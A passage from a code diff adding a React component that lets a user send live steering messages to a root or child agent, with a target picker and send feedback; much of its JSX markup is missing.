Enterprise lock, no bridge-connecting state), so this is only + * rendered by callers when steering is available. Sends via steerAgent, which + * requires a concrete agent id, so "Root agent" resolves to the root agent's id. + */ +export function ScanPromptComposer({ + agents, + fixedAgentId, + className, +}: ScanPromptComposerProps) { + const textareaRef = useRef(null); + const [expanded, setExpanded] = useState(false); + const [focused, setFocused] = useState(false); + const [value, setValue] = useState(""); + const [sending, setSending] = useState(false); + const [feedback, setFeedback] = useState(null); + + const isModal = fixedAgentId != null; + + // Root = the agent with no parent; fall back to the first agent. + const rootAgent = useMemo( + () => agents.find((a) => !a.parent_id) ?? agents[0] ?? null, + [agents] + ); + + // Multi-agent dropdown options: running child agents plus Root (added in JSX). + const targetOptions = useMemo( + () => agents.filter((a) => a.parent_id && a.status === "running"), + [agents] + ); + + // Selected target for the multi-agent variant. ROOT sentinel by default. + const [selectedTarget, setSelectedTarget] = useState(ROOT_TARGET_VALUE); + const [menuOpen, setMenuOpen] = useState(false); + + // If the selected child target disappears (finished), fall back to Root. + useEffect(() => { + if ( + selectedTarget !== ROOT_TARGET_VALUE && + !targetOptions.some((a) => a.id === selectedTarget) + ) { + setSelectedTarget(ROOT_TARGET_VALUE); + } + }, [selectedTarget, targetOptions]); + + // Resolve the concrete agent id + display name for the current target. + const { targetId, targetName } = useMemo(() => { + if (isModal) { + const agent = agents.find((a) => a.id === fixedAgentId) ?? null; + return { + targetId: fixedAgentId ?? null, + targetName: agent?.name ?? "this agent", + }; + } + if (selectedTarget === ROOT_TARGET_VALUE) { + return { + targetId: rootAgent?.id ?? null, + targetName: "Root agent", + }; + } + const agent = agents.find((a) => a.id === selectedTarget) ?? null; + return { + targetId: agent?.id ?? rootAgent?.id ?? null, + targetName: agent?.name ?? "Root agent", + }; + }, [agents, fixedAgentId, isModal, rootAgent, selectedTarget]); + + const empty = value.trim().length === 0; + + // Grow the textarea with its content, capped by max-h via CSS. + useLayoutEffect(() => { + const el = textareaRef.current; + if (!el) return; + el.style.height = "auto"; + el.style.height = `${el.scrollHeight}px`; + }, [value]); + + const handleExpand = useCallback(() => { + setExpanded(true); + requestAnimationFrame(() => textareaRef.current?.focus()); + }, []); + + const handleCollapse = useCallback(() => { + setExpanded(false); + setFocused(false); + setMenuOpen(false); + }, []); + + const handleSend = useCallback(async () => { + if (sending) return; + const message = value.trim(); + if (!message || !targetId) return; + + setSending(true); + setFeedback(null); + const name = targetName; + const res = await steerAgent(targetId, message); + setSending(false); + if (res.ok) { + setValue(""); + setFeedback(`Sent to ${name}`); + track("agent_steered"); + } else if (res.error === "not_delivered") { + setFeedback("Could not reach that agent (it may have finished)."); + } else { + setFeedback("Could not send that message. Try again."); + } + }, [sending, value, targetId, targetName]); + + if (!expanded) { + return ( + + ); + } + + return ( +
+
+
+
+ +

Live prompt

+
+

Connected

+
+
+ {isModal ? ( +
+ Target: {targetName} +
+ ) : ( +
+ Target: +
+ + {menuOpen && ( +
+ { + setSelectedTarget(ROOT_TARGET_VALUE); + setMenuOpen(false); + }} + /> + {targetOptions.map((option) => ( + { + setSelectedTarget(option.id); + setMenuOpen(false); + }} + /> + ))} +
+ )} +
+
+ )} + +
+
+ +
+